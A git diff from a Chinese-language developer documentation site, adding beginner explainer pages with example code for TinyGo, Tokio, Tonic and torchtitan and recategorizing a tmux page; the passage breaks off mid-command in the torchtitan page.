+对比历史上的 **emgo**（另一套 Go→嵌入式方案，通过生成 C 代码再交给 GCC）：TinyGo 坚持保留 Go 内存模型（意味着要有某种 GC），并用 LLVM 换更大的后端灵活性和更小的最终体积。
+
+### 2. `machine` 包：嵌入式世界的「硬件抽象层」
+
+标准库里不存在 `machine` 包；它是 TinyGo 为 MCU 增加的**类标准库**，提供跨板型的 GPIO、I2C、SPI、UART、ADC 等 portable API。不同开发板的 `machine.LED`、`machine.SDA` 等常量在编译期由 `-target` 解析到具体引脚。
+
+你可以把它理解成：**Go 版的 Arduino `digitalWrite`**，但类型安全、编译期检查，且与 `time.Sleep` 等标准库无缝配合。
+
+### 3. Goroutine 调度裁剪：三种 scheduler 档位
+
+这是 TinyGo 与标准 Go 差异最大的运行时设计之一。编译时通过 `-scheduler` 选择策略：
+
+| 调度器 | 适用平台 | 行为 | 代价 |
+| --- | --- | --- | --- |
+| `none` | AVR 等极小内存板（常作默认） | **禁用** goroutine 和 channel；`go` 关键字不可用 | 固件最小；并发模型归零 |
+| `tasks` | 多数 MCU（Cortex-M、RP2040 等） | 协作式任务调度，类似轻量 RTOS | 支持有限并发，非抢占式 |
+| `asyncify` | WebAssembly | 基于 Binaryen Asyncify，把阻塞调用拆成可恢复协程 | 适配 WASM 无法高效切换栈的限制 |
+| `cores` | RP2040 / RP2350 等多核板 | 利用芯片多核并行跑 goroutine | 体积和 RAM 略增，但吞吐更好 |
+
+**为什么要裁剪？** 标准 Go 的调度器（G-M-P 模型 + 抢占 + 系统调用监控）是为多核服务器设计的，运行时本身就要占掉大量 Flash 和 RAM。在 8KB RAM 的 AVR 上，这套设施根本放不下。
+
+TinyGo 在 WASM 上还有一层历史背景：WebAssembly 出于安全考虑**不暴露原生栈切换**，传统「每个 goroutine 一块栈」模型走不通。因此 TinyGo 借用 LLVM coroutine / Asyncify，把 `time.Sleep` 等阻塞点改写成可挂起、可恢复的协程状态机——对写 Go 的人透明，但编译器在背后做了 CPS（continuation-passing style）变换。
+
+在 `scheduler=none` 时，`runtime.Gosched()` 会直接返回（因为只有逻辑上的单线程）；定时器、channel 等依赖调度器的特性会触发运行时错误——这是刻意的「用体积换能力」trade-off。
+
+### 4. 垃圾回收与 Panic 策略
+
+`-gc` 控制内存管理器：
+
+- **conservative**（默认）：保守式 mark/sweep GC，跨平台，但停顿时间不可预测
+- **leaking**：只分配不释放，最简单、最快，适合短生命周期固件
+- **none**：完全禁用堆分配，用于审计程序里哪些地方偷偷 `new` 了对象
+
+`-panic` 控制崩溃行为：`abort`（默认，打印信息后挂起或 `unreachable`）、`trap`（直接触发陷阱指令，体积更小但难调试）。
+
+## 与标准 Go 的对比
+
+| 维度 | 标准 Go (`gc`) | TinyGo |
+| --- | --- | --- |
+| 编译器后端 | 自研 SSA → 机器码 | LLVM |
+| 典型目标 | 服务器、桌面、移动端 | MCU、WASM、WASI、小体积 CLI |
+| 最小二进制 | ~1–2 MB 量级起 | 数十 KB 级固件可行 |
+| Goroutine | 原生抢占式，M:N 调度 | 可选 none / 协作式 tasks / asyncify / 多核 cores |
+| 标准库覆盖 | 完整 | 大部分可用；`net` 部分子包、`reflect` 深度用法等受限 |
+| 反射 / `unsafe` | 完整支持 | 部分受限，复杂反射可能编译失败 |
+| 调试体验 | Delve、成熟生态 | GDB + OpenOCD / 板载 USB-CDC，门槛更高 |
+| 并发规模 | 轻松上万 goroutine | 适合少量协程；不追求「海量」 |
+| 工具链命令 | `go build` | `tinygo build` / `flash` / `monitor` |
+| 硬件访问 | 无内建 `machine` 包 | `machine` 包直接操作寄存器级外设 |
+
+选型口诀：
+
+- 写 **云原生微服务、CLI 工具、需要完整标准库** → 标准 Go
+- 写 **LED 点灯、传感器采集、BLE 外设、浏览器里跑的逻辑、WASI 边缘函数** → TinyGo
+- 已有 **Zephyr / FreeRTOS C 固件** 要渐进迁移 → TinyGo 可尝试，但和纯 C RTOS 生态的驱动成熟度仍需评估
+
+## 代码示例
+
+### 示例 1：板载 LED 闪烁（MCU 版 Hello World）
+
+这是 TinyGo 官方教程的「硬件世界 Hello World」——逻辑与 Arduino `blink.ino` 相同，但语言是 Go：
+
+```go
+package main
+
+import (
+	"machine"
+	"time"
+)
+
+func main() {
+	led := machine.LED
+	led.Configure(machine.PinConfig{Mode: machine.PinOutput})
+
+	for {
+		led.High()
+		time.Sleep(500 * time.Millisecond)
+
+		led.Low()
+		time.Sleep(500 * time.Millisecond)
+	}
+}
+```
+
+编译与烧录（以 Raspberry Pi Pico 为例）：
+
+```bash
+# 安装 TinyGo 后，指定板型 target
+tinygo build -target=pico -o firmware.uf2 .
+tinygo flash -target=pico .
+# 或通过 USB 串口看 println 输出
+tinygo monitor
+```
+
+要点：
+
+- `machine.LED` 由 `-target` 决定具体 GPIO，换板子不用改代码
+- `time.Sleep` 在 `scheduler=tasks` 下通过协作式调度实现，不阻塞整个系统（若有其他 goroutine）
+- 在 AVR Uno 等极小板上，默认可能是 `scheduler=none`，此时不宜使用 `go` 关键字
+
+### 示例 2：WebAssembly 导出函数（浏览器 / WASI）
+
+TinyGo 可把 Go 编译成体积极小的 `.wasm`，适合嵌入网页或边缘运行时：
+
+```go
+package main
+
+import "syscall/js"
+
+func main() {
+	// 保持 Go runtime 存活；WASM 入口由 JS 调用导出函数
+	select {}
+}
+
+//export add
+func add(this js.Value, args []js.Value) interface{} {
+	a := args[0].Int()
+	b := args[1].Int()
+	return a + b
+}
+```
+
+编译命令：
+
+```bash
+# 浏览器用 WASM（scheduler 默认 asyncify）
+tinygo build -target=wasm -o main.wasm .
+
+# WASI 边缘运行时（如 Fermyon Spin、Fastly Compute）
+tinygo build -target=wasi -o main.wasm .
+```
+
+HTML 侧加载（简化示意）：
+
+```html
+<script>
+  WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject)
+    .then((result) => {
+      const go = new Go();
+      go.run(result.instance);
+      // 调用 Go 导出的 add
+      const sum = result.instance.exports.add(3, 4);
+      console.log(sum); // 7
+    });
+</script>
+```
+
+与标准 Go 的 `GOOS=js GOARCH=wasm` 相比，TinyGo 产出的 WASM 模块通常**小一个数量级以上**，但支持的 `syscall/js` 和反射子集更少，复杂标准库调用需逐项验证。
+
+### 示例 3：用 goroutine 做并发采集（scheduler=tasks）
+
+在 RAM 充裕的板子（如 nRF52840、STM32）上，可以写接近标准 Go 风格的并发：
+
+```go
+package main
+
+import (
+	"machine"
+	"time"
+)
+
+func main() {
+	led := machine.LED
+	led.Configure(machine.PinConfig{Mode: machine.PinOutput})
+
+	// 后台 goroutine 每秒打印计数
+	go func() {
+		n := 0
+		for {
+			println("tick", n)
+			n++
+			time.Sleep(time.Second)
+		}
+	}()
+
+	// 主 goroutine 负责闪灯
+	for {
+		led.Set(!led.Get())
+		time.Sleep(200 * time.Millisecond)
+	}
+}
+```
+
+编译时显式指定 tasks 调度器（部分板型默认已是 tasks）：
+
+```bash
+tinygo build -target=circuitplay-express -scheduler=tasks -o firmware.uf2 .
+```
+
+注意：这与服务器上开成千上万个 goroutine 不是同一量级；嵌入式上要控制 goroutine 数量和栈大小（`-stack-size`），否则容易 RAM 溢出。
+
+## 常用编译选项速查
+
+开发固件时最常碰到的几个 flag（完整列表见 [官方文档](https://tinygo.org/docs/reference/usage/important-options/)）：
+
+| 选项 | 作用 |
+| --- | --- |
+| `-target=<board\|wasm\|wasi>` | 选择芯片 / WASM 目标，连带 emulator、烧录工具 |
+| `-opt=z` | 默认，体积优先优化 |
+| `-scheduler=none\|tasks\|asyncify\|cores` | 协程调度策略 |
+| `-gc=conservative\|leaking\|none` | 垃圾回收器选择 |
+| `-panic=abort\|trap` | panic 时是打印后挂起还是直接陷阱 |
+| `-serial=usb\|uart\|rtt\|none` | `println` 输出走哪条通道 |
+| `-size short` | 打印固件体积摘要（code/data/bss） |
+
+## 踩坑与边界
+
+1. **不是所有 Go 都能编**：标准库中依赖完整操作系统的包（部分 `net`、`os/exec` 场景）在 MCU 上不可用；生成代码前先用 `tinygo list` 或试编译摸底。
+
+2. **scheduler=none 时别写 `go`**：编译可能过，但行为与预期不符；AVR 默认 none 是为了省 RAM，要并发需手动 `-scheduler=tasks` 并接受体积上涨。
+
+3. **LED 亮灭极性因板而异**：有的板子 `High()` 是灭、`Low()` 是亮，取决于 LED 共阳/共阴接法，别当成编译器 bug。
+
+4. **调试比桌面 Go 难**：常用 GDB + OpenOCD，或 `-monitor` 看串口；`panic=trap` 省体积但只剩 HardFault，排错成本高。
+
+5. **与 TinyGo Playground 的差异**：在线 playground 是模拟环境，体积估算和真实烧录可能有出入，上板前以 `tinygo size` 为准。
+
+6. **多核仍属进阶**：`-scheduler=cores` 目前主要针对 RP2040/RP2350 等，需配合链接选项（如 `--defsym=__num_stacks=2`），别在单核 M0 上盲目开启。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 已会 Go，想用它写物联网固件、可穿戴、传感器节点
+- 需要把业务逻辑编译进浏览器 WASM（游戏逻辑、音视频处理、编辑器插件）
+- WASI 边缘函数（Spin、Fastly Compute 等）且在意冷启动体积
+- 教学场景：用 Go 语法降低嵌入式入门门槛（比直接学 C + 寄存器友好）
+
+**不适用**：
+
+- 典型云原生后端（用标准 Go 生态更完整）
+- 依赖大量反射、动态插件、完整 `database/sql` 驱动的项目
+- 需要硬实时抢占式调度（毫秒级确定性）——协作式 scheduler 要慎重评估
+- 团队已有成熟 Zephyr/FreeRTOS C 栈，且没有 Go 迁移动力
+
+## 学习路径建议
+
+1. **零硬件**：在 [TinyGo Playground](https://play.tinygo.org/) 跑通 LED 模拟和 WASM 示例，建立「Go 能下小板子」的直觉。
+2. **有一块板子**：跟官方 [Blinky 教程](https://tinygo.org/docs/tutorials/blinky/)，掌握 `tinygo flash` + `tinygo monitor`。
+3. **理解调度**：分别用 `-scheduler=none` 和 `-scheduler=tasks` 编译同一程序，对比 `tinygo size` 输出，理解体积 trade-off。
+4. **读源码**：从 `src/runtime` 和 `machine` 包入手，对照 Ayke van Laethem 关于 [goroutine 实现](https://aykevl.nl/2019/02/tinygo-goroutines/) 的文章，理解 LLVM coroutine 与 Asyncify 背景。
+5. **对照标准 Go**：把桌面上的小程序用 `tinygo build -target=wasm` 试编，记录哪些包能过、哪些报错，形成心理「支持子集」地图。
+
+## 小结
+
+TinyGo 不是「更好的 Go」，而是「Go 的嵌入式与 WASM 方言」：复用 Go 语言前端和大部分编程体验，用 LLVM 压体积，用可裁剪的调度器换 RAM，用 `machine` 包接通真实引脚。标准 Go 继续统治服务器；TinyGo 占领那些旅行箱拖不进去的小地方——从一块几美元的 MCU，到浏览器里几 KB 的 WASM 模块。
diff --git a/src/content/docs/projects/tmux.md b/src/content/docs/projects/tmux.md
index 4ae699d3d..d979c3d47 100644
--- a/src/content/docs/projects/tmux.md
+++ b/src/content/docs/projects/tmux.md
@@ -2,8 +2,8 @@
 title: tmux — 一个终端窗口里跑多个会话还能脱离重连
 来源: https://github.com/tmux/tmux
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/tokio.md b/src/content/docs/projects/tokio.md
new file mode 100644
index 000000000..9217ea445
--- /dev/null
+++ b/src/content/docs/projects/tokio.md
@@ -0,0 +1,196 @@
+---
+title: Tokio — Rust 异步编程的事实标准
+来源: https://github.com/tokio-rs/tokio
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+## 从日常类比开始
+
+想象你在一家餐厅工作。
+
+**传统同步编程** 就像你只有一个厨师：点一道菜，做完再点下一道。如果某道菜需要等水烧开（比如网络请求），厨师就干站着等，什么也不做。
+
+**异步编程** 就像你有很多厨师：一个在等水开的时候，马上去切菜、准备其他菜。水开了再回去处理那道菜。
+
+**Tokio** 就是这个餐厅的"总调度系统"——它管着厨师（线程）、订单（任务）和厨房设备（网络 I/O），让所有事情高效运转，不浪费任何人的时间。
+
+Tokio 是 Rust 生态中最流行的异步运行时（async runtime）。Rust 标准库只提供了 `async` / `await` 语法，但真正跑起来需要一个"引擎"来调度异步任务——这就是 Tokio 做的事。
+
+---
+
+## 核心概念
+
+### 1. 运行时（Runtime）
+
+运行时是 Tokio 的心脏，它包含三件套：
+
+- **I/O 事件循环**：监听操作系统的事件队列（Linux 用 epoll，macOS 用 kqueue，Windows 用 IOCP），知道什么时候网络数据到了、文件读完了。
+- **任务调度器**：管理异步任务的执行顺序，决定哪个任务该跑、哪个该等。
+- **定时器**：处理 `sleep`、超时、定时任务等时间相关的操作。
+
+### 2. 任务（Task）
+
+Tokio 里的异步任务叫"task"，可以用 `tokio::spawn` 创建一个新任务，它比线程轻得多——一个线程上可以跑成千上万个 task。
+
+### 3. 阻塞线程 vs 非阻塞 I/O
+
+Tokio 提供了三种调度器模式：
+
+- **multi-thread runtime**（多线程）：默认模式，用多个工作线程，自动分配任务。适合大多数场景。
+- **current-thread runtime**（单线程）：所有任务跑在同一个线程上。适合 wasm 等场景。
+- **local runtime**：处理不能跨线程发送的任务。
+
+---
+
+## 代码示例
+
+### 示例一：TCP 回显服务器（最经典的入门程序）
+
+这个示例展示了一个最简单的 Tokio 服务器：接到什么数据，原样发回去。
+
+```rust
+use tokio::net::TcpListener;
+use tokio::io::{AsyncReadExt, AsyncWriteExt};
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    // 在 127.0.0.1:8080 上监听连接
+    let listener = TcpListener::bind("127.0.0.1:8080").await?;
+    println!("Server listening on port 8080");
+
+    // 无限循环接受新连接
+    loop {
+        // accept() 是异步的——没人连接时，当前任务会挂起，不占 CPU
+        let (mut socket, _) = listener.accept().await?;
+
+        // tokio::spawn 创建一个新 task 处理这个连接
+        // 这样主循环可以继续接受其他连接，互不阻塞
+        tokio::spawn(async move {
+            let mut buf = [0; 1024];
+
+            loop {
+                // read() 异步读取数据，读到 0 表示客户端断开了
+                let n = match socket.read(&mut buf).await {
+                    Ok(0) => return,       // 连接关闭
+                    Ok(n) => n,            // 读取的字节数
+                    Err(e) => {
+                        eprintln!("read error: {:?}", e);
+                        return;
+                    }
+                };
+
+                // write_all() 异步写入数据
+                if let Err(e) = socket.write_all(&buf[0..n]).await {
+                    eprintln!("write error: {:?}", e);
+                    return;
+                }
+            }
+        });
+    }
+}
+```
+
+**关键理解**：
+
+- `#[tokio::main]` 是一个宏，它把普通 `main` 函数变成异步入口，并在幕后创建了一个 multi-thread runtime。
+- `.await` 不是"暂停整个程序"，而是"暂停当前这个任务，让调度器去跑其他任务"。
+- `tokio::spawn` 创建的 task 共享同一个 runtime，比线程更轻。
+
+---
+
+### 示例二：并发下载多个 URL
+
+这个示例展示 Tokio 的并发优势：同时发起多个网络请求，而不是一个个等。
+
+```rust
+use std::time::Instant;
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    let urls = vec![
+        "https://www.rust-lang.org",
+        "https://tokio.rs",
+        "https://www.wikipedia.org",
+    ];
+
+    // 记录开始时间
+    let start = Instant::now();
+
+    // 用 join_all 同时发起所有请求
+    let mut handles = vec![];
+    for url in &urls {
+        let handle = tokio::spawn(fetch_url(url.to_string()));
+        handles.push(handle);
+    }
+
+    // 等所有 task 完成，收集结果
+    for handle in handles {
+        match handle.await {
+            Ok(Ok((url, len))) => println!("{}: {} bytes", url, len),
+            Ok(Err(e)) => eprintln!("error: {}", e),
+            Err(e) => eprintln!("task panicked: {:?}", e),
+        }
+    }
+
+    println!("Total time: {:.2}s", start.elapsed().as_secs_f64());
+    Ok(())
+}
+
+async fn fetch_url(url: String) -> Result<(String, usize), Box<dyn std::error::Error>> {
+    // 这里用 reqwest 做 HTTP 请求（需要添加 reqwest 依赖）
+    // let body = reqwest::get(&url).await?.text().await?;
+    // Ok((url, body.len()))
+
+    // 用 tokio::time::sleep 模拟网络延迟
+    println!("Fetching {} ...", url);
+    tokio::time::sleep(std::time::Duration::from_millis(500)).await;
+    Ok((url, 12345))
+}
+```
+
+**关键理解**：
+
+- `tokio::spawn` 让每个 URL 的获取独立成一个 task，它们可以真正并行等待网络响应。
+- 如果是三个同步请求，串行需要 1500ms；Tokio 里大约 500ms 就完成了。
+- `join_all`（或手动的 handle 收集）用于等待所有并发任务完成。
+
+---
+
+## Tokio 的生态全家桶
+
+Tokio 不只是运行时本身，它还维护了一个完整的工具链：
+
+- **axum**：Web 框架（类似 Express.js，但用 Rust 写的）
+- **hyper**：HTTP 协议的底层实现
+- **tonic**：gRPC 实现
+- **tower**：可组合的网络服务组件库
+- **tracing**：结构化日志和性能追踪
+- **bytes**：高效的字节缓冲区处理
+- **mio**：底层操作系统 I/O 多路复用封装
+
+---
+
+## 学习建议
+
+1. **先跑通官方教程**：https://tokio.rs/tokio/tutorial — 从"Hello World"到 TCP 服务器，一步步来。
+2. **理解 async/await 的工作方式**：Rust 的异步和其他语言不同——`Future` 是惰性的，必须放到 runtime 上"驱动"才会执行。
+3. **mini-redis 示例**：Tokio 仓库里的 mini-redis 是一个完整的 Redis 克隆，是最好的实战教材。
+4. **注意阻塞陷阱**：在 async 函数里做同步阻塞操作会卡住整个线程。用 `tokio::task::spawn_blocking` 来跑阻塞代码。
+
+---
+
+## 常见误区
+
+| 误区 | 真相 |
+|------|------|
+| `async` 就是多线程 | async 不等于并发。Tokio 的 runtime 负责并发，async 只是语法 |
+| `.await` 会创建新线程 | `.await` 只是挂起当前 task，由 runtime 调度 |
+| Tokio 比同步慢 | 在高 I/O 场景下，Tokio 因为不浪费线程等待，反而更快、更省资源 |
+| 每个任务都要 `spawn` | 小任务直接 `.await` 就行，`spawn` 有开销 |
+
+---
+
+*来源：https://github.com/tokio-rs/tokio*
diff --git a/src/content/docs/projects/tonic.md b/src/content/docs/projects/tonic.md
new file mode 100644
index 000000000..0c745a532
--- /dev/null
+++ b/src/content/docs/projects/tonic.md
@@ -0,0 +1,262 @@
+---
+title: Tonic — Rust gRPC 框架
+来源: https://github.com/hyperium/tonic
+日期: 2026-06-13
+分类: 后端 API
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+# Tonic — Rust gRPC 框架
+
+## 从日常类比说起
+
+想象你开了一家餐厅：
+
+- 厨房是**服务端**，负责处理点单（业务逻辑）
+- 顾客是**客户端**，通过菜单发起请求
+- 服务员是**传输层**，负责把菜单上的订单传到厨房，再把做好的菜端回去
+
+在编程世界里，这种「客户找服务器要数据」的模式叫 **RPC（Remote Procedure Call）**。
+
+而 **gRPC** 是 Google 主导的一套 RPC 标准，用 Protocol Buffers（.proto）定义接口和数据格式，用 HTTP/2 做传输，速度快、跨语言。
+
+**Tonic** 就是 **Rust 生态里的 gRPC 实现**。它让你能用 Rust 写高性能的 gRPC 客户端和服务器。
+
+> 关键类比：Tonic 就像给 Rust 装了一个"翻译器"，让 Rust 程序能用 gRPC 标准跟其他语言写的服务对话。
+
+---
+
+## 核心概念
+
+### 1. Protocol Buffers (.proto) — 接口定义文件
+
+写代码前先写「合同」。.proto 文件定义了服务接口和数据结构，是客户端和服务端共用的协议。
+
+```protobuf
+// hello.proto
+syntax = "proto3";
+
+package hello;
+
+// 定义一个消息类型（相当于数据模型）
+message HelloRequest {
+  string name = 1;
+}
+
+message HelloResponse {
+  string message = 1;
+}
+
+// 定义一个服务（相当于 API 集合）
+service Greeter {
+  // 一个"单对单"的 RPC 方法
+  rpc SayHello (HelloRequest) returns (HelloResponse);
+}
+```
+
+类比：这就是餐厅的「菜单」——上面写着有哪些菜（方法），每道菜用什么原料（参数）和呈什么样子（返回值）。
+
+### 2. 四种 RPC 调用模式
+
+gRPC 定义了四种调用方式，复杂程度递增：
+
+| 模式 | 类比 | 描述 |
+|------|------|------|
+| Unary（单向） | 点一份沙拉 | 客户端发一个请求，服务端回一个响应 |
+| Server streaming | 自助餐取菜 | 客户端发一个请求，服务端持续返回多个结果 |
+| Client streaming | 一筐水果 | 客户端持续发送多个请求，服务端最后回一个结果 |
+| Bidirectional streaming | 打电话 | 双方可以同时互相发送消息 |
+
+Tonic 全部支持，我们先从最简单的 Unary 开始。
+
+### 3. Codegen（代码生成）
+
+这是 Tonic 的核心魔法。你写一份 .proto 文件，Tonic 的编译时工具会自动生成 Rust 的客户端和服务器骨架代码。你只需要实现业务逻辑。
+
+类比：.proto 文件像是"模具"，编译时自动"压铸"出 Rust 代码。你不用手写客户端调用的每一行细节。
+
+---
+
+## 实际代码示例
+
+### 示例一：写一个最简 gRPC 服务
+
+**第一步：定义 .proto 文件**
+
+在 `proto/helloworld.proto` 中：
+
+```protobuf
+syntax = "proto3";
+
+package helloworld;
+
+// 请求消息：包含一个名字
+message HelloRequest {
+  string name = 1;
+}
+
+// 响应消息：包含一条问候语
+message HelloResponse {
+  string message = 1;
+}
+
+// 定义服务
+service Greeter {
+  // 单向 RPC：SayHello 接收 HelloRequest，返回 HelloResponse
+  rpc SayHello (HelloRequest) returns (HelloResponse);
+}
+```
+
+**第二步：在 `build.rs` 中配置代码生成**
+
+```rust
+// build.rs
+fn main() -> Result<(), Box<dyn std::error::Error>> {
+    tonic_prost_build::compile_protos(&["proto/helloworld.proto"], &["proto/"])?;
+    Ok(())
+}
+```
+
+这会在编译时自动把 .proto 转换成 Rust 模块，放在 `OUT_DIR` 下。
+
+**第三步：在代码中使用生成的客户端**
+
+```rust
+use tonic::transport::Channel;
+use helloworld::greeter_client::GreeterClient;
+use helloworld::HelloRequest;
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    // 连接到服务端（通过 HTTP/2）
+    let channel = Channel::from_static("http://[::1]:50051")
+        .connect()
+        .await?;
+
+    // 用生成的客户端发起调用
+    let mut client = GreeterClient::new(channel);
+    let request = HelloRequest {
+        name: "你好".to_string(),
+    };
+
+    let response = client.say_hello(request).await?;
+
+    println!("服务端回复: {}", response.get_ref().message);
+    Ok(())
+}
+```
+
+> 类比：这就是顾客在餐厅用菜单点菜，服务员把结果端回来。`connect()` 建立连接，`say_hello()` 就是调用服务。
+
+### 示例二：实现一个 gRPC 服务器
+
+```rust
+use tonic::{transport::Server, Request, Response, Status};
+use helloworld::greeter_server::{Greeter, GreeterServer};
+use helloworld::{HelloRequest, HelloResponse};
+
+// 实现 Greeter trait（就是实现菜单上的每道菜）
+#[derive(Default)]
+struct MyGreeter;
+
+#[tonic::async_trait]
+impl Greeter for MyGreeter {
+    // SayHello 方法实现
+    async fn say_hello(
+        &self,
+        request: Request<HelloRequest>,
+    ) -> Result<Response<HelloResponse>, Status> {
+        let name = request.into_inner().name;
+
+        let response = HelloResponse {
+            message: format!("Hello, {}!", name),
+        };
+
+        Ok(Response::new(response))
+    }
+}
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    let greeter = MyGreeter::default();
+
+    // 绑定服务到端口，启动 gRPC 服务器
+    Server::builder()
+        .add_service(GreeterServer::new(greeter))
+        .serve("[::1]:50051".parse()?)
+        .await?;
+
+    Ok(())
+}
+```
+
+> 类比：这就是厨房接到订单后做菜。`MyGreeter` 就是厨师，`say_hello()` 就是做菜的流程——拿到名字，组装回复。
+
+### 示例三：带超时的客户端调用
+
+```rust
+use tonic::transport::Channel;
+use helloworld::greeter_client::GreeterClient;
+use helloworld::HelloRequest;
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    let channel = Channel::from_static("http://[::1]:50051")
+        .connect_timeout(std::time::Duration::from_secs(3))
+        .timeout(std::time::Duration::from_secs(5))
+        .connect()
+        .await?;
+
+    let mut client = GreeterClient::new(channel);
+    let response = client
+        .say_hello(HelloRequest {
+            name: "Rust 新手".to_string(),
+        })
+        .await;
+
+    match response {
+        Ok(resp) => println!("成功: {}", resp.into_inner().message),
+        Err(e) => println!("调用失败: {}", e),
+    }
+
+    Ok(())
+}
+```
+
+这里加了 `.timeout()` 设置超时，加了 `.connect_timeout()` 设置连接超时。就像打电话——如果对方 5 秒内不接，挂断重试。
+
+---
+
+## Tonic 的关键特性
+
+- **异步优先**：基于 `tokio` 运行时，天然支持 Rust 的 `async/await`
+- **HTTP/2 传输**：底层用 `hyper`，性能优秀
+- **Codegen 驱动**：.proto 文件自动生成代码，减少手写错误
+- **流式支持**：四种 RPC 模式全部实现
+- **TLS 加密**：通过 `rustls` 支持 HTTPS
+- **可扩展**：基于 Tower 中间件系统，可以加日志、认证、限流等
+- **跨语言互通**：跟 Go、Java、Python 的 gRPC 实现完全兼容
+
+---
+
+## 为什么选 Tonic？
+
+| 对比项 | 说明 |
+|--------|------|
+| 性能 | Rust 零成本抽象 + HTTP/2 二进制协议，比 REST/JSON 快很多 |
+| 类型安全 | .proto 定义的契约让编译期就能检查参数对不对 |
+| 生态 | 属于 Tokio 家族，跟 `tokio`、`hyper`、`tower` 深度集成 |
+| 生产就绪 | 12k+ GitHub Star，被多个公司用于生产环境 |
+
+---
+
+## 学习路径建议
+
+1. 先装 `protoc`（Protocol Buffers 编译器）
+2. 读 Tonic 官方的 `helloworld` 示例教程
+3. 跑通 `routeguide` 完整示例（包含流式）
+4. 尝试用自己的 .proto 文件写一个小服务
+5. 研究 Tower 中间件加日志和认证
+
+> 官方教程地址：https://github.com/hyperium/tonic/tree/master/examples
diff --git a/src/content/docs/projects/torchtitan-2024.md b/src/content/docs/projects/torchtitan-2024.md
new file mode 100644
index 000000000..366eb797b
--- /dev/null
+++ b/src/content/docs/projects/torchtitan-2024.md
@@ -0,0 +1,227 @@
+---
+title: torchtitan — PyTorch 原生的大模型分布式训练平台
+来源: https://github.com/pytorch/torchtitan
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# torchtitan — PyTorch 原生的大模型分布式训练平台
+
+## 一、什么是 torchtitan？——从"搬砖建楼"说起
+
+想象你要建一座巨大的城堡（训练一个几百亿参数的大语言模型）。
+
+一个人搬砖、砌墙，效率极低，可能干一辈子也建不完。于是你雇了一百个工人，把城堡图纸拆成一百份，每人负责一部分——这就是**分布式训练**的核心思想。
+
+torchtitan 就是 PyTorch 官方出品的一套"施工管理系统"。它不发明新的砖块（模型结构），而是帮你高效地组织工人（GPU）、分配任务（并行策略）、检查质量（监控指标）、保存进度（断点续训）。
+
+关键定位：
+
+- **PyTorch 原生**：不依赖第三方框架，纯 PyTorch 实现
+- **极简设计**：对模型代码改动最小，方便研究人员快速实验
+- **面向大规模**：已在 512 块 H100 GPU 上验证过训练 Llama 3.1 405B 参数模型
+
+一句话总结：torchtitan = PyTorch 的"大模型训练操作系统"。
+
+## 二、核心概念
+
+### 2.1 多维并行策略
+
+这是 torchtitan 最核心的能力。一个大模型太大，单张 GPU 放不下，就需要把模型"切碎"分配到多张卡上。
+
+**类比：把一本百科全书分给 100 个人读**
+
+| 并行方式 | 类比 | 说明 |
+|---------|------|------|
+| **数据并行 (DDP/HSDP)** | 100 个人读同一本书的不同章节，各自学完后交换笔记 | 每张卡拿到完整的模型副本，但处理不同的数据 batch |
+| **张量并行 (Tensor Parallel)** | 把每一页文字撕成两半，两个人各读一半再拼起来 | 模型内部的矩阵运算被拆分到多张卡上并行计算 |
+| **流水线并行 (Pipeline Parallel)** | 工厂流水线，第一个人做封面，第二个人排版，第三个人装订 | 模型的不同层分布在不同的卡上，数据像流水线一样逐层流过 |
+| **上下文并行 (Context Parallel)** | 一群人接力读一百万字的长文章，每人读一段 | 超长序列被切分到多卡，注意力计算跨卡聚合 |
+
+实际训练中，这些策略可以**组合使用**。比如训练 Llama 3.1 405B：
+
+- 模型内部用张量并行（每张卡只负责部分矩阵）
+- 多卡之间用数据并行（不同卡处理不同数据）
+- 层与层之间用流水线并行（数据逐层流过）
+
+### 2.2 FSDP2 —— 参数分片的新一代方案
+
+FSDP（Fully Sharded Data Parallel）是 PyTorch 的参数分片技术。torchtitan 用的是 FSDP2，相比旧版 FSDP1 有重大改进：
+
+- **不再把多个参数"粘"成一个扁平参数**，每个参数独立管理
+- 可以用 `torch.device("meta")` 先在"虚拟空间"创建模型结构，再按需分配到真实 GPU，省去了复杂的初始化步骤
+- 内存占用更低、确定性更强
+
+### 2.3 分布式检查点 (DCP)
+
+训练大模型动辄几周甚至几个月，中途断电或出 bug 怎么办？
+
+torchtitan 实现了**分布式检查点机制**：
+
+- 定期把模型参数、优化器状态、训练进度保存到共享存储
+- 支持异步保存，不阻塞训练
+- 检查点格式与 torchtune 兼容，可以直接加载去做微调
+
+### 2.4 其他关键特性
+
+- **`torch.compile` 支持**：编译优化加速训练
+- **Float8 / MXFP8 量化**：降低精度要求以节省显存、提升吞吐
+- **结构化日志**：通过 TensorBoard 或 Weights & Biases 记录 loss、显存、吞吐量等指标
+- **配置驱动**：所有超参数通过 CLI 命令行传递，无需改代码
+
+## 三、代码示例
+
+### 3.1 示例一：安装与启动训练
+
+最简单的训练启动方式。以 Llama 3.1 8B 在 8 张 GPU 上训练为例：
+
+```bash
+# 第一步：克隆并安装
+git clone https://github.com/pytorch/torchtitan
+cd torchtitan
+pip install -r requirements.txt
+pip install --pre torchdata --index-url https://download.pytorch.org/whl/nightly/cpu
+
+# 第二步：下载 tokenizer（需要从 HuggingFace 获取访问权限）
+python scripts/download_hf_assets.py \
+  --repo_id meta-llama/Llama-3.1-8B \
+  --assets tokenizer \
+  --hf_token=你的token
+
+# 第三步：启动训练
+MODULE=llama3 CONFIG=llama3_8b ./run_train.sh
+```
+
+`run_train.sh` 内部实际上调用的是 `torchrun`，这是 PyTorch 自带的分布式启动器，会自动在多卡之间设置通信后端。
+
+### 3.2 示例二：自定义训练配置
+
+torchtitan 通过命令行参数控制一切，不需要修改源代码。例如调整学习率、批次大小、开启检查点：
+
+```bash
+torchrun --standalone --nproc_per_node=8 \
